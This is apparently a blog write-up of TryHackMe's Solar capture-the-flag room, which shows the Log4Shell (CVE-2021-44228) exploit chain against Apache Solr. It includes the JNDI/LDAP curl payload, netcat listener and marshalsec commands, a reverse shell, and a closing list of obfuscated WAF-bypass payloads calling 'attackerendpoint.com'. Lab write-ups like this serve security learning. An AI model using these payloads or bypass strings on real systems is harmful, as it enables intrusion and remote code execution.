log4j Exploit – Solar CTF
Last year, CVE-2021-44228 was discovered and it rocked the IT world. The vulnerability was found in logging software, log4j, and a common java application called JNDI. Together, they could be exploited to allow remote code execution.
The reason the vulnerability was rated 10.0 / 10.0 was due to how prolific this pairing of software was on the web.
This post covers the capture the flag event ‘Solar‘, ran by TryHackMe, that educates and replicates the log4j exploit.
First of I spun up the box and connected using the standard openvpn method used on TryHackMe.
I then scanned the entire port range – something I rarely end up doing – but that’s exactly what I was instructed to do here. Needless to say 99% of them are closed. The scan for versions (-sV) argument threw up the name, so that can be used in some early questions.
We’re told that even though this is a vanilla install of the Apache variant, it is still completely vulnerable to CVE-2021-44228.
From the stats panel we can see log4j referenced:
I had trouble finding the filename referenced multiple times in the Solr logs, as the CTF mentions. Thankfully after some basic GREP it was super obvious, I was just being blinded by the volume of data.
$ grep INFO solr* | grep -e "[a-zA-Z0-9]{4}\.[a-zA-Z0-9]{3}"
A similar method was used to extract the specific URL endpoint and the data entrypoint asked for…
That completed the recon and discovery phases of this Solar log4j room.
CVE-2021-44228 Proof of Concept
Now onto proving the basic exploit concept.
We were told that the logs have some parsing functionality applied to them, which exacerbates and produces this vulnerability. The examples given were:
- ${ENV:PATH}
- ${ENV:HOSTNAME}
- ${java:version}
- ${sys:os.name}
- ${sys:user.name}
- ${log4j:configParentLocation}
The known log4j exploit payload is also given:
${jndi:ldap://{remotehost}}
This syntax indicates that the log4j will invoke functionality from “JNDI”, or the “Java Naming and Directory Interface.” Ultimately, this can be used to access external resources, or “references,” which is what is weaponized in this attack.
Explanation from TryHackMe’s Solar CTF room
I created the simple stage for my proof of concept. Creating a netcat listener on port 9999:
nc -lnvp 9999
We then send in our PoC CVE-2021-442288 payload:
$ curl 'http://10.10.23.81:8983/solr/admin/cores?foo=$\{jndi:ldap://10.8.39.10:9999\}'
And got the following json object back:
{
"responseHeader":{
"status":0,
"QTime":2},
"initFailures":{},
"status":{}}
While our netcat listener got this:
$ nc -lnvp 9999
listening on [any] 9999 ...
connect to [10.8.39.10] from (UNKNOWN) [10.10.23.81] 41468
0
`...
So the target machine dialled back to my host. Excellent, a good start.
The log4j Exploit
So I got log4j and JDNI to query my machine, but I’m not running a LDAP service. Even if I was, it’s unlikely I could construct a payload that it would specifically serve back in a legitimate format.
So we create a workflow that any LDAP queries get forward to a standard HTTP webserver, that then serves up my payload.
Next, I created an adhoc php server:
php -S 0.0.0.0:8000
We get our netcat listener back on port 9999 as before.
We grab some code from a git repository:
$ mkdir marshalsec && cd marshalsec && git clone https://github.com/mbechler/marshalsec
Cloning into 'marshalsec'...
remote: Enumerating objects: 168, done.
remote: Counting objects: 100% (13/13), done.
remote: Compressing objects: 100% (13/13), done.
remote: Total 168 (delta 6), reused 3 (delta 0), pack-reused 155
Receiving objects: 100% (168/168), 474.52 KiB | 1.66 MiB/s, done.
Resolving deltas: 100% (85/85), done.
Once that was done and built, I fired up the java ran LDAP forwarder:
$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://{host-ip}:8000/#Exploit"
I then produced the RCE payload, saving it as Exploit.java:
After compiling the java, the exploit chain is ready.
I had:
- CURL request to force a LDAP request to our host
- Our LDAP listener to forward the request to our HTTP host
- Our HTTP host serving up our payload
- Our payload that netcats out to our machine
- Our netcat listener ready to receive a reverse shell
Executing the CURL request, it looked like this:
Our local LDAP service received the connection:
The PHP server received it’s forwarded connection, serving up the java exploit:
The exploit, now running on the target machine thanks to log4j and JNDI, dials back to our netcat listener:
… and we have ourselves a reverse shell:
whoami
solr
Reverse Shell Stabilisation
I then stablised my reverse shell using my latest method I trust to work. I wrote that reverse shell stabilisation procedure up for future referencing.
I then escalated the permissions to that of root, thanks to the way the user is configured (for this demo).
All in all, exploiting the target machine this way was pretty scary with how easy it all was (I’m sure there was weeks and months of hard work behind discovering and refining the exploit). Being able to replicate it so easy goes to show why this exploit was rated so highly.
While there were several challenges and areas of interest left in the Solar CTF room – I’ll end the write up now we’ve fully deployed the CVE-2021-44228 log4j exploit. A few ways to bypass any web application firewalls, which may come in later in the future for other CVE’s:
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/}
Further reading CVE-2021-44228
Some great resources to about this log4j exploit:
- Apache’s log4j vulnerability page
- Microsoft’s Apache Log4j Remote Code Execution Vulnerability
- NIST’s CVE-2021-44228 Post